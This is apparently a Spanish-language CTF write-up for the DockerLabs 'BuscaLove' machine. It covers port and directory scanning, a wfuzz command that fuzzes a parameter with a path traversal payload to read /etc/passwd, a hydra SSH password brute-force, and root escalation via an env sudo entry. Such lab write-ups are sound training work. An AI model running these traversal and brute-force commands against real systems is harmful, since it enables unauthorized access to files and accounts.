> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/buscalove.md).

# BuscaLove

## Maquina

<figure><img src="/files/UjlAWFiHU8KESeuOrLvO" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 172.18.0.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 dc:4c:b6:41:c4:e1:72:c3:7d:a0:ed:ca:0e:7a:bc:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJt30YsFN09biMjBeb/CjtFEGOnT0fjLdi1hbnr36McoiRqqFDhZVwgBGbLIMxwJ6PSv5rBH2uCHXqSw0QlyUd8=
|   256 66:61:de:8c:fb:5b:3b:f4:fb:b9:ca:69:b1:ac:6e:2e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4Xb2tCDj+Wia452jwutmDdphUK2mYCMUJ2+ICKjPnF
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobaster

```bash
sudo gobuster dir -u 172.18.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster.txt  
```

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.18.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wordpress            (Status: 301) [Size: 312] [--> http://172.18.0.2/wordpress/]
/server-status        (Status: 403) [Size: 275]

===============================================================
Finished
===============================================================
```

{% hint style="info" %}
Si pruebas a buscar con Gobuster, como lo hemos hecho antes, sobre el directorio /wordpress no sacaras nada.
{% endhint %}

Si usamos la opción `-x` para indicar extensiones

```bash
sudo gobuster dir -u 172.18.0.2/wordpress/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip | tee gobusterExt.txt
```

```
/index.php            (Status: 200)
```

### Web

Entramos directamente a `wordpress` ya que si entramos a `172.18.0.2:80` es el default de Apache.

<figure><img src="/files/tGoies1NcEY4U40X8a9n" alt=""><figcaption></figcaption></figure>

Miramos el codigo de la web:

<figure><img src="/files/vaGgjtXWI7u9Mdm02Rn7" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Mensaje: El desarrollo de esta web esta en fase verde muy verde te dejo aquí la ventana abierta con mucho love para los curiosos que gustan de leer.
{% endhint %}

Como es WordPress probamos a usar `wpscan`, herramienta que analiza paginas de WordPress.

<figure><img src="/files/PzRJnanEjhHQuaHaciqg" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Parece que hemos sido engañados, la herramienta nos dice que no es WordPress
{% endhint %}

### Fuzzing

Usar `wfuzz` para hacer fuzzing a `index.php`

```bash
wfuzz -w /usr/share/wordlists/rockyou.txt -u 172.18.0.2/wordpress/index.php\?FUZZ=../../../../../../../etc/passwd --hc 404 --hl 40
```

Explicación del comando:

`-w`: Indicar el **diccionario** o lista de palabras.

`-u`: Especifica la **URL** del objetivo.

`FUZZ`: Las palabras del diccionario se probaran ahi.

`--hc`: Ignorar cualquier código de estado 404.

`--hl`: Ignorar las respuestas que tienen una longitud de contenido de 40 caracteres.

<figure><img src="/files/mJjVP0DaKHIa42Je3bDZ" alt=""><figcaption></figcaption></figure>

Una vez sacado `love`, lo usamos en la web para ver el contenido del fichero `passwd`.

<figure><img src="/files/b9UAEyKhtjQYF2nq8g8i" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
"Ctrl + u" para ver el código de la pagina y así ver mejor este fichero
{% endhint %}

<figure><img src="/files/5yMWOiub3wxflPZZVxWM" alt=""><figcaption></figcaption></figure>

## Acceso

Como podemos ver, en el archivo `passwd` hay 2 usuarios:

<figure><img src="/files/zE07Jndif23tNiaoMi8K" alt=""><figcaption></figcaption></figure>

### Fuerza bruta&#x20;

Lo primero que se me ocurre es hacer fuerza bruta contra estos usuarios.

```bash
 hydra -l rosa -P /usr/share/wordlists/rockyou.txt 172.18.0.2 ssh -t 50
```

{% hint style="info" %}
Esto tarde un rato, no tiréis la toalla.&#x20;
{% endhint %}

<figure><img src="/files/9X7sfYutTzalGLl44nn9" alt=""><figcaption></figcaption></figure>

Ahora nos conectamos por ssh:

<figure><img src="/files/JdRtlfAA5iJeCyokpLoo" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos de Rosa:

<figure><img src="/files/kG3B8gAODRH4dIbuOl49" alt=""><figcaption></figcaption></figure>

Teniendo estos permisos si nos vamos moviendo por los diferentes directorios, tarde o temprano acabaremos dando con el `secreto.txt`, el cual contiene una serie de caracteres en hexadecimal.

Si los decodificamos de usando herramientas básicas, nos saldrá un string de caracteres que si usamos a modo de contraseña para el usuario `pedro`, no funcionara.

En este caso yo he usado la herramienta [CyberChef ](https://gchq.github.io/CyberChef/)y he ido probando hasta obtener esto:

<figure><img src="/files/J39vKA3AN6D1qSgK8ra4" alt=""><figcaption></figcaption></figure>

Con la contraseña que hemos sacado con [CyberChef](https://gchq.github.io/CyberChef/) nos cambiamos al usuario `pedro` y miramos sus permisos.

<figure><img src="/files/GOX8bGCkS5pSGUawiRob" alt=""><figcaption></figcaption></figure>

Para explotar este binario seguimos lo que nos dicen en [GTFOBin](https://gtfobins.github.io/gtfobins/env/), y de esta forma conseguimos ser root.

<figure><img src="/files/05yykkaSx5z51S4VGgXr" alt=""><figcaption></figcaption></figure>

## Conclusión

Esta es una maquina de nivel bajo-medio, de las pocas que he hecho esta ha sido sin lugar a duda la mas complicada, es una muy buena maquina ya que nos mete `fuzzing web`, `ataques de fuerza bruta`  y necesidad de hacer uso de `CyberChef`, en definitiva es una maquina con la que aprendes mucho y es bastante entretenida, pero difícil para alguien nuevo.
